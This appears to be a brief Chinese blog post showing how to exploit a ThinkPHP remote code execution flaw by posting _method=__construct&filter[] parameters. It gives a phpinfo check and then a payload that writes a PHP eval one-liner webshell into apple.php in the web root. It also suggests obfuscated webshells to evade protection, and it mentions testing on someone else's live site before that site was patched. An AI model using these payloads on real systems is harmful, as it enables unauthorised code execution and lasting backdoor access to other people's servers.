参考博客:https://www.cnblogs.com/303donatello/p/12721587.html
https://blog.csdn.net/qq_45521281/article/details/105907276
其实后面的&test=-1参数没有意义,只要有captcha就行
在post里加上我们要提交的参数
_method=__construct&filter[]=phpinfo&method=GET
提交前:
提交后:
证明了有远程代码执行漏洞,那怎么利用呢。可以参考文章开头的博客链接,了解filter参数的作用。
我们要利用远程代码执行写入webshell,当然目标可能有防护工具,建议写变形过的一句话。我们这里演示就用普通的一句话(其实是我不会写变形的一句话)
_method=__construct&filter[]=echo '<?php @eval($_POST["apple"]);?>' >>apple.php&method=GET
该语句的意义利用filter执行系统命令,在apple.php中写入一句话,熟悉thinkphp的同学一定知道它的目录结构。网站主页index.php在public目录下,我们这里写的apple.php会被保存在和index.php一级的目录。我们就可以直接www.xxx.com/apple.php进行验证了。这里没法验证,因为在写文章的时候发现人家已经修复了。但肯定能写进去的,在写文章之前就测试过了。